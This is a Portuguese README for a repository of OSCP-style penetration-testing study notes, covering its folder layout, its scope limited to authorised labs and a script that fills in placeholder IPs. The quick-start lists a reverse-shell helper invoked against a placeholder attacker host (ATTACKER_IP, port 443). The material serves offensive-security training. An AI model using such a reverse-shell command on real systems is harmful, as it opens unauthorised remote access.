Caderno de Campo OSCP

Tags: #ligolo #hashcat

oscp-notes-2026 banner

Caderno de metodologia de pentest indexado por porta: árvores de decisão, padrões de comandos para copiar e colar, e lições de máquinas de prática autorizadas (HTB / PG / laboratórios pessoais). Consolidado a partir do antigo finalnotes-vault nesta única árvore.

Um fluxo de trabalho que você pode executar sob pressão de tempo. Comandos e árvores de decisão primeiro.

Notas de estudo públicas apenas para prática autorizada (seus laboratórios, HTB/PG, cursos que você possui). Sem chaves de exame, sem dumps de engajamentos reais, sem dump de conteúdo de cursos da OffSec.

Repositório: https://gitlab.com/WattoCyber/oscp-notes-2026

Baralho do exame (HTML): https://oscp-notes-2026-76134f.gitlab.io

Visão geral


O que é	Notas de campo no estilo OSCP: árvores de decisão, padrões de comandos, cartões de técnicas.
Para quem é	Candidatos ao OSCP e operadores de laboratório que desejam um fluxo de trabalho executável sob pressão de tempo.
O que não é	Não é um dump de payloads, não são chaves de exame, não é conteúdo de curso da OffSec e não substitui os materiais oficiais.
Tamanho	Mais de 512 notas em markdown em ordem numerada de engajamento.

Início rápido

git clone https://gitlab.com/WattoCyber/oscp-notes-2026.git
cd oscp-notes-2026

# optional: bind placeholders to your lab IPs
# edit 00-Start-Here/Variables.md
python fill-variables.py apply
python fill-variables.py status
python fill-variables.py reset # restore placeholders

Sinal de sucesso: python fill-variables.py status imprime Status: PLACEHOLDERS (antes de aplicar) ou Status: FILLED (após aplicar com IPs reais em Variables.md). Abra Home.md ou Find.md (cada nota, clicável no GitLab). Os wikilinks continuam funcionando no Obsidian. Atualize o catálogo com python3 scripts/build-find.py.

Requer apenas Python 3 (stdlib). Sem pip install.

Scripts de exame/lab (bash primeiro, tabelas em scripts/data/):

ls scripts/
bash scripts/recon/host-scan.sh TARGET
python3 scripts/recon/nmap-next.py scans/TARGET/svc.xml
bash scripts/shells/rev.sh ATTACKER_IP 443 linux

Layout

Find.md                 Generated catalog of every note (GitLab links)
00-Start-Here/          INDEX.md + Quick-Start, Methodology, Variables, Im-Stuck
  Exam/  Cheatsheets/  Charts/
01-Enumeration/         Enumeration-Index.md at root
  Automated-Scanners/  Network-Protocols/  Web-Applications/
02-Web-Attacks/         Web-Index.md, Web-Methodology.md at root
  Recon/  Injection/  File-Attacks/  HTTP-Techniques/  CMS/
03-Active-Directory/    AD-Index.md, First-User-Playbook.md at root
  Enum/  Kerberos/  Credential-Theft/  ACL-Abuse/  ADCS/
  Lateral/  Persistence/  CVE-One-Shots/
04-Linux-PrivEsc/       Linux-Index.md + walkthrough at root
  CVE-One-Shots/  Filesystem/  Hijacking/  Scheduled-and-Services/
  Persistence/  Tools/
05-Windows-PrivEsc/     Windows-Index.md + 3 topic indexes at root
  Checklists/  Local-Techniques/  Persistence/  Service-Abuse/
  Token-Manipulation/  Tools/
06-Pivoting/            Pivoting-Index.md at root + Tools/
07-File-Transfers/      File-Transfers.md at root + Methods/
08-Shells/              Reverse-Shells.md, Msfvenom.md at root
  Shells/  Web/
09-Password-Attacks/    Brute-Forcing-Guide.md at root
  Cracking/  Spraying/  Wordlists/
10-Reporting/           Report-Template.md at root + Exam/
11-Tools/               Tools-Index.md at root
  Payload/  Recon/  Network/  Code/  CVE/  Custom/
scripts/                exam/lab helpers (data/*.tsv + bash; python for parsers)
fill-variables.py       placeholder IP binder
_attachments/           images

Escopo (o que está / não está aqui)

No escopo

Metodologia ofensiva geral alinhada ao aprendizado no estilo OSCP
Lições de máquinas públicas (HTB, Proving Grounds, laboratórios pessoais) com segredos censurados
Padrões de ferramentas (nmap, nxc, impacket, evil-winrm, ligolo, hashcat)

Fora do escopo (deliberadamente)

Respostas de exames, notas de hosts de exames, configurações de VPN, flags de prova
Bibliotecas completas de writeups de máquinas
PDF / texto de curso da OffSec protegidos por direitos autorais
Dados de engajamentos ativos de clientes ou empregadores

Verifique as regras atuais do exame no guia de exames da OffSec. As tabelas de pontuação aqui são auxílios de estudo e podem ficar desatualizadas.

Preenchimento de variáveis

Placeholders usados nas notas: ATTACKER_IP, TARGET_IP, DC_IP, MS01_IP, MS02_IP, STANDALONE1..3, INTERNAL_IP, INTERNAL_NET, DOMAIN.

python3 fill-variables.py apply # write your IPs into every .md
python3 fill-variables.py reset # restore tokens (uses .variables-backup.json)

Não faça commit de IPs aplicados. Mantenha Variables.md como placeholders no git.

Autor

Samson Laird (SamsonCyber / WattoCyber). Construído durante a prática em labs no estilo OSCP.

O repositório autônomo mais antigo finalnotes-vault está arquivado. Esta árvore é a cópia ativa.

Licença

MIT para a estrutura original, scripts e prosa original. O conhecimento de técnicas é tradecraft de segurança pública. Os nomes das boxes referem-se a máquinas públicas do HTB/PG; respeite as regras de cada plataforma.

Mais Populares

OSCP Notes and Custom Dashboard